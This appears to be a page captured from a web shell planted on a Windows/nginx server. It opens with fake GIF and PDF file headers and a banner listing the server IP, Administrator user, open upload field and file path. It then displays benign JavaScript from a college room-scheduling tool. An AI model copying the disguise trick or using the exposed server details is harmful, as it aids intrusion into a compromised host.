GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Scheduler/Schedule/ |
Upload File : |
"use strict"; // Schedule/schedule3.js // For use by Jim Martinson. and Tuesday work session. // PositionMoveClassDialog() // Move the dialog div to the mouse position. function PositionMoveClassDialog() { var DEBUG = DEBUG_ON; if ( DEBUG ) { console.group(`${PC}PositionMoveClassDialog[]`,CG); }//Collapsed if ( DEBUG && dragElement && dragElement.id ) { console.log(PC+`dragElement = ${NL}"id":"${dragElement.id}" ${D_formatJSONstring(dragElement)}`,CL); } if ( DEBUG ) { console.log(`${PC}mX=${dragElement.mX} mY=${dragElement.mY}`,CL); } let dragElementBounds = ElementBounds(dragElement.id); if ( DEBUG ) { console.log(`${PC}dragElementBounds=${D_formatJSONstring(dragElementBounds)}`,CL); } let dialogDivBounds = ElementBounds('dialogContainer'); if ( DEBUG ) { console.log(`${PC}dialogDivBounds=${D_formatJSONstring(dialogDivBounds)}`,CL); } let e_dialogDiv = document.getElementById('dialogContainer'); //let posX = dragElement.mX - ( dialogDivBounds.width / 2 ); let newX = dragElementBounds.left + ( dragElementBounds.width / 2 ) - ( dialogDivBounds.width / 2 ); let newY = dragElementBounds.top - ( dialogDivBounds.height );//dragElement.mY - ( dialogDivBounds.height ); e_dialogDiv.style.left = newX + 'px'; e_dialogDiv.style.top = newY + 'px'; KeepElementInViewport(e_dialogDiv); if ( DEBUG ) { console.log(`${PC}END ${PC}PositionMoveClassDialog`,SE,ST); console.groupEnd(); } } // END PositionMoveClassDialog. // KeepElementInViewport(e) // Adjust the element position to keep it in the viewport. // If the element is too wide, it will be positioned all the way to the left. function KeepElementInViewport(e) { var DEBUG = DEBUG_ON; if ( DEBUG ) { console.group(`${PC}KeepElementInViewport[e.id=${e.id}]`,CG); }//Collapsed let dialogDivBoundsNow = ElementBounds(e); if ( DEBUG ) { console.log(`${PC}dialogDivBoundsNow=${D_formatJSONstring(dialogDivBoundsNow)}`,CI); } let bodyBounds = ElementBounds('bodyId'); if ( DEBUG ) { console.log(`${PC}bodyBounds=${D_formatJSONstring(bodyBounds)}`,CI); } // Adjust right edge. if ( dialogDivBoundsNow.right > bodyBounds.right) { dialogDivBoundsNow.left += bodyBounds.right - dialogDivBoundsNow.right; e.style.left = bodyBounds.right - dialogDivBoundsNow.width + 0 + 'px'; dialogDivBoundsNow = ElementBounds(e); if ( DEBUG ) { console.log(`${PC}dialogDivBoundsNow=${D_formatJSONstring(dialogDivBoundsNow)}`,CI); } } // Adjust the left edge. if ( dialogDivBoundsNow.left < 0 ) { e.style.left = '0px'; } // Adjust the top edge. if ( dialogDivBoundsNow.top < 0 ) { e.style.top = '5px'; // Set to 5px due to legend box-shadow. } if ( DEBUG ) { console.log(`${PC}END ${PC}KeepElementInViewport`,SE,ST); console.groupEnd(); } } // Room_Remove(scmId,campusIndexToRemove) // Remove this room and adjust other rooms. function Room_Remove(scmId,campusIndexToRemove) { var DEBUG = DEBUG_ON; if ( DEBUG ) { console.group(`${PC}Room_Remove[scmId=${scmId} campusIndexToRemove=${campusIndexToRemove}] CollegeCampus.length=${CollegeCampus.length}`,CG); }//Collapsed // Populate currentRooms. let currentRooms = []; let campusIndex; let eCampusSelect; let eBuildingSelect; let eRoomSelect; // Get the current campus, building, and room selections. for ( campusIndex = 0; campusIndex < CollegeCampus.length; campusIndex++ ) { let selCampusId = `selCampus_${scmId}_${campusIndex}`; eCampusSelect = document.getElementById(selCampusId); let campusValue = eCampusSelect.value; let selBuildingId = `selBuilding_${scmId}_${campusIndex}`; eBuildingSelect = document.getElementById(selBuildingId); let buildingValue = eBuildingSelect.value; let selRoomId = `selRoom_${scmId}_${campusIndex}`; eRoomSelect = document.getElementById(selRoomId); let roomValue = eRoomSelect.value; if ( DEBUG ) { console.log(`${PC}campusIndex=${campusIndex} campusValue=${campusValue} buildingValue=${buildingValue} roomValue=${roomValue}`,CL); } currentRooms.push({ "campus":campusValue, "building":buildingValue, "room":roomValue }); } if ( DEBUG ) { console.log(`${PC}currentRooms=${D_formatJSONstring(currentRooms)}`,CI); } currentRooms.splice(campusIndexToRemove, 1); // Remove the current room. if ( DEBUG ) { console.log(`${PC}currentRooms=${D_formatJSONstring(currentRooms)}`,CS); } // Shift other rooms upward. for ( campusIndex = 0; campusIndex < currentRooms.length; campusIndex++ ) { // Loop thru classroom lines to shift other rooms upward. if ( DEBUG ) { console.log(`${PC}campusIndex=${campusIndex} campusValue=${currentRooms[campusIndex].campus} buildingValue=${currentRooms[campusIndex].building} roomValue=${currentRooms[campusIndex].room}`,CL); } // Shift Campus let selCampusId = `selCampus_${scmId}_${campusIndex}`; eCampusSelect = document.getElementById(selCampusId); eCampusSelect.value = currentRooms[campusIndex].campus; if ( DEBUG ) { console.log(`${PC}${campusIndex} eCampusSelect.value=[${eCampusSelect.value}]`,CA); } if ( eCampusSelect.value === '' ) { // Hide the building select (label). let labBuildingId = `labBuilding_${scmId}_${campusIndex}`; let eBuildingLabel = document.getElementById(labBuildingId); if ( DEBUG ) { console.log(`${PC}Hide the building select (label) ${eBuildingLabel.id}.`,CL); } if ( DEBUG ) { console.log(`${PC}eBuildingLabel.classList-${eBuildingLabel.classList}`,CI); } if ( !eBuildingLabel.classList.contains('hidden') ) { eBuildingLabel.classList.add("hidden"); } //Room_RoomLine_Hide(scmId, campusIndex); } else { SetupBuildingSelectOptions(eCampusSelect); } //SetupBuildingSelectOptions(eCampusSelect); // Shift Building. let selBuildingId = `selBuilding_${scmId}_${campusIndex}`; eBuildingSelect = document.getElementById(selBuildingId); eBuildingSelect.value = currentRooms[campusIndex].building; if ( DEBUG ) { console.log(`${PC}${campusIndex} eBuildingSelect.value=[${eBuildingSelect.value}]`,CA); } if ( eBuildingSelect.value === '') { RoomLine_RoomSelect_Hide(scmId, campusIndex); // Hide the room select (label). } else { SetupRoomSelectOptions(eBuildingSelect); } //SetupRoomSelectOptions(eBuildingSelect); // Shift Room. let selRoomId = `selRoom_${scmId}_${campusIndex}`; eRoomSelect = document.getElementById(selRoomId); if ( DEBUG ) { console.log(`${PC}${campusIndex} BEFORE eRoomSelect.value=[${eRoomSelect.value}] ${currentRooms[campusIndex].room}`,CL); } eRoomSelect.value = currentRooms[campusIndex].room; if ( DEBUG ) { console.log(`${PC}${campusIndex} eRoomSelect.value=[${eRoomSelect.value}]`,CA); } if ( eRoomSelect.value === '') { // Is no room selected. //RoomLine_RemoveButton_Hide(scmId, campusIndex); // Hide the - (Remove room) button. if ( campusIndex < currentRooms.length ) { RoomLine_AddButton_Hide(scmId, campusIndex, 'Room_Remove:95'); } }// Is no room selected. } // Loop thru classroom lines to shift other rooms upward. // Clear last room. campusIndex = CollegeCampus.length - 1; if ( DEBUG ) { console.log(`${PC}campusIndex=${campusIndex}`,CA); } let selRoomId = `selRoom_${scmId}_${campusIndex}`; eRoomSelect = document.getElementById(selRoomId); eRoomSelect.value = ""; //RoomLine_RemoveButton_Hide(scmId, campusIndex); // Hide the - (Remove room) button. let selBuildingId = `selBuilding_${scmId}_${campusIndex}`; eBuildingSelect = document.getElementById(selBuildingId); eBuildingSelect.value = ""; RoomLine_RoomSelect_Hide(scmId, campusIndex); // Hide the room select (label). // Remove campus select options. let selCampusId = `selCampus_${scmId}_${campusIndex}`; eCampusSelect = document.getElementById(selCampusId); eCampusSelect.value = ""; // Hide the building select (label). let labBuildingId = `labBuilding_${scmId}_${campusIndex}`; let eBuildingLabel = document.getElementById(labBuildingId); eBuildingLabel.classList.add("hidden"); // Show add classroom button if needed. for ( campusIndex = CollegeCampus.length - 1; campusIndex >= 0; campusIndex-- ) { // Loop thru RoomLines in reverse. // Check for room value. let selRoomId = `selRoom_${scmId}_${campusIndex}`; eRoomSelect = document.getElementById(selRoomId); if ( DEBUG ) { console.log(`${PC}campusIndex=${campusIndex} eRoomSelect.value=${eRoomSelect.value}`,CI); } if ( eRoomSelect.value !== '' ) { // Is there a room value? break; // Exit with campusIndex set to the last RoomLine with a value selected. } else { // Is there a room value? // Check for building value. let selBuildingId = `selBuilding_${scmId}_${campusIndex}`; eBuildingSelect = document.getElementById(selBuildingId); if ( DEBUG ) { console.log(`${PC}campusIndex=${campusIndex} eBuildingSelect.value=${eBuildingSelect.value}`,CI); } if ( eBuildingSelect.value !== '' ) { // Is there a building value? break; // Exit with campusIndex set to the last RoomLine with a value selected. } else { // Is there a building value? // Check for campus value. let selCampusId = `selCampus_${scmId}_${campusIndex}`; eCampusSelect = document.getElementById(selCampusId); if ( DEBUG ) { console.log(`${PC}campusIndex=${campusIndex} eCampusSelect.value=${eCampusSelect.value}`,CI); } if ( eCampusSelect.value !== '' ) { // Is there a campus value? break; // Exit with campusIndex set to the last RoomLine with a value selected. } else { // Is there a campus value? Room_RoomLine_Hide(scmId, campusIndex); } // Is there a campus value? } // Is there a building value? } // Is there a room value? } // Loop thru RoomLines in reverse. // campusIndex is set to the last RoomLine with a value selected, or -1 if not RoomLines have values selected. if ( DEBUG ) { console.log(`${PC}campusIndex=${campusIndex} eRoomSelect.value=${eRoomSelect.value}`,CL); } if ( campusIndex >= 0 ) { // Is this a valid campusIndex? RoomLine_RemoveAddButtons_ShowHide(scmId, campusIndex); if ( campusIndex < CollegeCampus.length ) { Room_RoomLine_Hide(scmId, campusIndex + 1); // Hide the next RoomLine. } } else { // Is this a valid campusIndex? //Room_RoomLine_Show(scmId, 0); // Always show campusIndex 0 RoomLine. } // Is this a valid campusIndex? if ( DEBUG ) { console.log(`${PC}END ${PC}Room_Remove`,SE,ST); console.groupEnd(); } } // END Room_Remove.